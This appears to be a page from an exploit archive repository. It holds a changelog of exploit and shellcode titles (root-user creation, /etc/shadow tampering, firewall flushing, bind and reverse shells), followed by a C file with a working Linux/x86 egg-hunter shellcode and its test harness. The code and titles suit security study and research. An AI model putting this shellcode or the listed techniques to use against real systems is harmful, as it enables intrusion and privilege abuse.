1db36d5e8b
76 changes to exploits/shellcodes
Printoxx - Local Buffer Overflow (PoC)
Picpuz 2.1.1 - Buffer Overflow (Denial of Service) (PoC)
Printoxx - Local Buffer Overflow (PoC)
Picpuz 2.1.1 - Buffer Overflow (Denial of Service) (PoC)
Microsoft Edge Chakra JIT - Incorrect Bounds Calculation
Microsoft Edge Chakra - 'JavascriptGeneratorFunction::GetPropertyBuiltIns' Type Confusion
Microsoft Edge Chakra - Incorrect Scope Handling
Microsoft Edge Chakra - Deferred Parsing Makes Wrong Scopes (2)
Microsoft Edge Chakra JIT - Out-of-Bounds Write
Microsoft Edge Chakra - 'AsmJSByteCodeGenerator::EmitCall' Out-of-Bounds Read
Microsoft Edge Chakra JIT - Stack-to-Heap Copy
Transmission - RPC DNS Rebinding
Master IP CAM 01 - Multiple Vulnerabilities
Zomato Clone Script - Arbitrary File Upload
Reservo Image Hosting Script 1.5 - Cross-Site Scripting
D-Link DSL-2640R - Unauthenticated DNS Change
Belkin N600DB Wireless Router - Multiple Vulnerabilities
SugarCRM 3.5.1 - Cross-Site Scripting
Linux/x86 - HTTP Server (8800/TCP) + Fork Shellcode (166 bytes)
Linux/x86 - HTTP Server (8800/TCP) + fork() Shellcode (166 bytes)
Linux/x86 - Append RSA key to /root/.ssh/authorized_keys2 Shellcode (295 bytes)
Linux/x86 - Append RSA Key to /root/.ssh/authorized_keys2 Shellcode (295 bytes)
Linux/x86 - Set System Time to 0 + exit Shellcode (12 bytes)
Linux/x86 - Set System Time to 0 + exit() Shellcode (12 bytes)
Linux/x86 - chmod 0666 /etc/shadow + exit Shellcode (36 bytes)
Linux/x86 - chmod 0666 /etc/shadow + exit() Shellcode (36 bytes)
Linux/x86 - Add Root User (xtz) To /etc/passwd Shellcode (59 bytes)
Linux/x86 - Add Root User (xtz) To /etc/passwd + No Password Shellcode (59 bytes)
Linux/x86 - Quick (yet conditional_ eax != 0 and edx == 0) exit Shellcode (4 bytes)
Linux/x86 - Quick (yet conditional_ eax != 0 and edx == 0) + exit() Shellcode (4 bytes)
Linux/x86 - write(0__Hello core!\n__12) + Exit Shellcode (36/43 bytes)
Linux/x86 - write(0__Hello core!\n__12) + exit() Shellcode (36/43 bytes)
Linux/x86 - execve(/bin/sh) Standard Opcode Array Payload Shellcode (21 bytes)
Linux/x86 - execve(/bin/sh) + Standard Opcode Array Payload Shellcode (21 bytes)
Linux/x86 - Alphanumeric Encoder (IMUL Method) Shellcode (88 bytes)
Linux/x86 - Alphanumeric Encoded (IMUL Method) Shellcode (88 bytes)
Linux/x86 - execve(/bin/sh) Alphanumeric Shellcode (392 bytes)
Linux/x86 - execve(/bin/sh) + Alphanumeric Shellcode (392 bytes)
Linux/x86 - Add Root User (t00r) + Anti-IDS Shellcode (116 bytes)
Linux/x86 - Add Root User (t00r) To /etc/passwd + Anti-IDS Shellcode (116 bytes)
Linux/x86 - Add Root User (t00r) Shellcode (82 bytes)
Linux/x86 - Add Root User (t00r) To /etc/passwd Shellcode (82 bytes)
Linux/x86 - Add Root User (z) Shellcode (70 bytes)
Linux/x86 - Add Root User (z) To /etc/passwd Shellcode (70 bytes)
Windows x86 - PEB _Kernel32.dll_ ImageBase Finder Alphanumeric Shellcode (67 bytes)
Windows x86 - PEB _Kernel32.dll_ ImageBase Finder + Alphanumeric Shellcode (67 bytes)
Linux/x86 - unlink(/etc/passwd) + exit() Shellcode (35 bytes)
Linux/x86 - Add Root User (toor) To /etc/passwd + exit() Shellcode (107 bytes)
Linux/x86 - Add Root User (toor) To /etc/passwd + No password + exit() Shellcode (107 bytes)
Linux/x86 - pwrite(_/etc/shadow__ hash_ 32_ 8) Shellcode (83 bytes)
Linux/x86 - Fork Bomb Alphanumeric Shellcode (117 bytes)
Linux/x86 - pwrite(/etc/shadow_ (md5 hash of agix)_ 32_ 8) Shellcode (83 bytes)
Linux/x86 - Fork Bomb + Alphanumeric Shellcode (117 bytes)
Linux/x86 - unlink _/etc/shadow_ Shellcode (33 bytes)
Linux/x86 - unlink /etc/shadow Shellcode (33 bytes)
Linux/x86-64 - Add Root User (shell-storm/leet) Shellcode (390 bytes)
Linux/x86-64 - Add Root User (shell-storm/leet) To /etc/{shadow_passwd} Shellcode (390 bytes)
Linux - Bind TCP (31337/TCP) Netcat Shell + Polymorphic Shellcode (91 bytes)
Linux/x86 - Bind TCP (31337/TCP) Netcat Shell + Polymorphic Shellcode (91 bytes)
Linux/ARM - Add Root User (shell-storm/toor) Shellcode (151 bytes)
Linux/ARM - Add Root User (shell-storm/toor) To /etc/passwd Shellcode (151 bytes)
FreeBSD/x86 - Bind TCP (31337/TCP) Shell (/bin/sh) + Fork Shellcode (111 bytes)
FreeBSD/x86 - Bind TCP (31337/TCP) Shell (/bin/sh) + fork() Shellcode (111 bytes)
Linux/x86 - Reverse TCP (localhost:8080/TCP) Shell + SSL Shellcode (422 bytes)
Linux/SuperH (sh4) - Add Root User (shell-storm/toor) Shellcode (143 bytes)
Linux/x86 - Reverse TCP (localhost:8080/TCP) Shell + SSL Shellcode (422 bytes)
Linux/SuperH (sh4) - Add Root User (shell-storm/toor) To /etc/passwd Shellcode (143 bytes)
Linux/MIPS - Add Root User (rOOt/pwn3d) Shellcode (164 bytes)
Linux/MIPS - Add Root User (rOOt/pwn3d) To /etc/passwd Shellcode (164 bytes)
Linux/x86 - setuid(0) + setgid(0) + Add Root User (iph) To /etc/passwd + Polymorphic Shellcode
Linux/x86 - setuid(0) + setgid(0) + Add Root User (iph) To /etc/passwd + No Password Polymorphic Shellcode
Linux/x86-64 - Add Root User (t0r/Winner) Shellcode (189 bytes)
Linux/x86-64 - Add Root User (t0r/Winner) To /etc/passwd Shellcode (189 bytes)
Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add Root User (ALI/ALI) + Execute /bin/sh Shellcode (378 bytes)
Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add Root User (ALI/ALI) + setreuid + Execute /bin/bash Obfuscated Shellcode (521 bytes)
Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add Root User (ALI/ALI) To /etc/passwd + Execute /bin/sh Shellcode (378 bytes)
Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add Root User (ALI/ALI) To /etc/passwd + setreuid + Execute /bin/bash Obfuscated Shellcode (521 bytes)
Linux/x86-64 - execve(_/bin/sh\0__NULL_NULL) Position Independent Alphanumeric Shellcode (87 bytes)
Linux/x86-64 - execve(_/bin/sh\0__NULL_NULL) + Position Independent + Alphanumeric Shellcode (87 bytes)
Linux/x86 - execve(/bin/sh) Shellcode (23 bytes)
Linux/x86 - execve(/bin/sh) Shellcode (23 bytes) (1)
Linux/x86 - Create File With Permission 7775 + exit Shellcode (Generator)
Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator)
Linux/x86-64 - Bind TCP (4442/TCP) Ncat Shell + SSL + Multi-Channel (4444-4447/TCP) + Persistant + Fork + IPv4/6 + Password + Null-Free Shellcode (176 bytes)
Linux/x86-64 - Bind TCP (4442/TCP) Ncat Shell + SSL + Multi-Channel (4444-4447/TCP) + Persistant + fork() + IPv4/6 + Password + Null-Free Shellcode (176 bytes)
Linux/x86-64 - Bind TCP Stager (4444/TCP) + Egghunter Shellcode (157 bytes)
Linux/x86-64 - Add User (pwned/$pass$) Using open_write_close Shellcode (358 bytes)
Linux/x86-64 - Add User (pwned/$pass$) Using echo cmd Shellcode (273 bytes)
Linux/x86-64 - Bind TCP (4444/TCP) + Stager + Egghunter Shellcode (157 bytes)
Linux/x86-64 - Add User (pwned/$pass$) Using open_write_close To /etc/{shadow_passwd} Shellcode (358 bytes)
Linux/x86-64 - Add User (pwned/$pass$) Using echo cmd To /etc/{shadow_passwd} Shellcode (273 bytes)
Linux/x86 - execve(/bin/sh /tmp/p00p) Shellcode (70 bytes)
Linux/x86 - execve(/bin/ash) + exit() Shellcode (34 bytes)
Linux/x86 - Add Root User To /etc/passwd + No Password + exit() Shellcode (83 bytes)
Linux/x86 - setuid() + execve() + exit() Shellcode (44 bytes)
Linux/x86 - chmod(/bin/sh_04775) + set sh +s Shellcode (31 bytes)
Linux/x86 - socket-proxy Shellcode (372 bytes) (Generator)
Linux/x86 - setresuid(0_0_0) + execve(/bin/sh) + exit() Shellcode (41 bytes)
Linux/x86 - Reverse TCP (www.netric.org:45295/TCP) Shell (/bin/sh) Shellcode (131 bytes)
Linux/x86 - Bind TCP (45295/TCP) Shell (/bin/sh) + fork() Shellcode (200 bytes)
Linux/x86 - /sbin/iptables --flush Shellcode (69 bytes)
Linux/x86 - setuid(0) + execve(/bin/sh) Shellcode (29 bytes)
Linux/x86 - setuid(0) + execve(/bin/sh_ 0_ 0) Shellcode (27 bytes)
Linux/x86 - setuid(0) + chmod(/etc/shadow_ 0666) Shellcode (37 bytes)
Linux/x86 - pwrite(/etc/shadow_ (md5 hash of agix)_ 32_ 8) Shellcode (89 bytes)
Linux/x86 - Remote File Download Shellcode (42 bytes)
Linux/x86 - CDRom Ejecting Shellcode (46 bytes)
Linux/x86 - sethostname(PwNeD !!_ 8) Shellcode (32 bytes)
Linux/x86 - exit(0) Shellcode (8 bytes)
Linux/x86 - sync Shellcode (6 bytes)
Linux/x86 - execve(/bin/sh_ -c_ ping localhost) Shellcode (55 bytes)
Linux/x86 - rmdir(_/tmp/willdeleted_) Shellcode (41 bytes)
Linux/x86 - setdomainname(_th1s s3rv3r h4s b33n h1j4ck3d !!_) Shellcode (58 bytes)
Linux/x86 - execve(/bin/sh) + Polymorphic Shellcode (26 bytes)
Linux/x86 - Force unmount /media/disk Shellcode (33 bytes)
Linux/x86 - chmod(/etc/shadow_ 0666) + ASCII Shellcode (443 bytes)
Linux/x86 - CDRom Ejecting + Polymorphic Shellcode (74 bytes)
Linux/x86 - Bind TCP (31337/TCP) Shell + Polymorphic Shellcode (125 bytes)
Linux/x86 - /sbin/iptables -POUTPUT DROP Shellcode (60 bytes)
Linux/x86 - /usr/bin/killall snort Shellcode (46 bytes)
Linux/x86 - execve(/bin/sh) Shellcode (21 bytes) (3)
Linux/x86 - execve(/bin/sh) Shellcode (21 bytes) (5)
Linux/x86 - execve(/bin/dash) Shellcode (49 bytes)
Linux/x86 - execve(/bin/cat_ /etc/shadow_ NULL) Shellcode (42 bytes)
Linux/x86 - /etc/init.d/apparmor teardown Shellcode (53 bytes)
Linux/x86 - setreuid() + /sbin/iptables -F + exit(0) Shellcode (76 bytes)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - execve(/bin/sh) Shellcode (28 bytes)
Linux/x86 - mkdir(hacked) + exit() Shellcode (36 bytes)
Linux/x86 - Stager Reads Second Stage From STDIN Shellcode (14 bytes)
Linux/x86 - iptables --flush Shellcode (43 bytes)
Linux/x86 - execve(/bin/sh) Shellcode (23 bytes) (2)
Linux/x86 - Force Reboot Shellcode (36 bytes)
Linux/x86 - execve(chmod 0777 /etc/shadow) Shellcode (57 bytes)
Linux/x86 - Bind TCP (1111/TCP) Shell + SO_REUSEADDR Set (Avoiding SIGSEGV) Shellcode (103 bytes)
Linux/x86 - Reverse TCP (127.1.1.1:55555/TCP) Shell Shellcode (72 bytes)
Linux/x86 - Bind TCP (Random TCP Port) Shell Shellcode (65 bytes)
Linux/x86 - Bind TCP (1111/TCP) Shell + GetPC/Call/Ret Method Shellcode (89 bytes)
Linux/x86 - Bind TCP (1111/TCP) Shell Shellcode (73 bytes)
Linux/x86 - Bind TCP (Random TCP Port) Shell Shellcode (57 bytes)
Linux/x86 - Egghunter Shellcode (38 bytes)
Linux/x86 - execve(/bin/sh) Shellcode (21 bytes)
Linux/x86 - execve(/bin/sh) Shellcode (21 bytes) (4)
Linux/x86 - chmod 777 /etc/sudoers Shellcode (36 bytes)
87 lines
No EOL
2.6 KiB
C
87 lines
No EOL
2.6 KiB
C
/*
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Egg Hunter Shellcode - C Language - Linux/x86
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Copyright (C) 2013 Geyslan G. Bem, Hacking bits
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http://hackingbits.com
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geyslan@gmail.com
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This program is free software: you can redistribute it and/or modify
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it under the terms of the GNU General Public License as published by
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the Free Software Foundation, either version 3 of the License, or
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(at your option) any later version.
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This program is distributed in the hope that it will be useful,
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but WITHOUT ANY WARRANTY; without even the implied warranty of
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MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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GNU General Public License for more details.
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You should have received a copy of the GNU General Public License
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along with this program. If not, see <http://www.gnu.org/licenses/>.
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*/
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/*
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egg_hunter_shellcode
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* 38 bytes
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* null-free if egg signature is
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# gcc -m32 -fno-stack-protector -z execstack egg_hunter_shellcode.c -o egg_hunter_shellcode
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Testing
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# ./egg_hunter_shellcode
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*/
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#include <stdio.h>
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#include <string.h>
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unsigned char egg[] = \
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// Write "Egg Mark" and exit
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"\x90\x50\x90\x50" // <- First Four Bytes of Signature
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"\x90\x50\x90\x50" // <- Same first bytes are mandatory
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"\x31\xdb"
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"\xf7\xe3\xb0\x04\x6a\x0a\x68\x4d\x61\x72"
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"\x6b\x68\x45\x67\x67\x20\xb3\x01\x89\xe1"
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"\xb2\x09\xcd\x80\xb0\x01\xcd\x80";
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unsigned char egghunter[] = \
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// Search for the Egg Signature (0x50905090 x 2) - the Egg's 8 first instructions (nop, push eax, nop, push eax...)
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"\xfc\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f"
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"\x42\x6a\x21\x58\x8d\x5a\x04\xcd\x80\x3c"
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"\xf2\x74\xee\xb8"
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"\x90\x50\x90\x50" // <- Signature
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"\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";
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main ()
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{
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// When contains null bytes, printf will show a wrong shellcode length.
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printf("Shellcode Length: %d\n", strlen(egghunter));
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// Pollutes all registers ensuring that the shellcode runs in any circumstance.
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__asm__ ("movl $0xffffffff, %eax\n\t"
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"movl %eax, %ebx\n\t"
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"movl %eax, %ecx\n\t"
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"movl %eax, %edx\n\t"
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"movl %eax, %esi\n\t"
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"movl %eax, %edi\n\t"
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"movl %eax, %ebp\n\t"
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// Setting the egg hunter signature to search (byte reverse order)
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"movl $0x50905090, (egghunter+24)\n\t"
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// Calling the shellcode
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"call egghunter");
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} |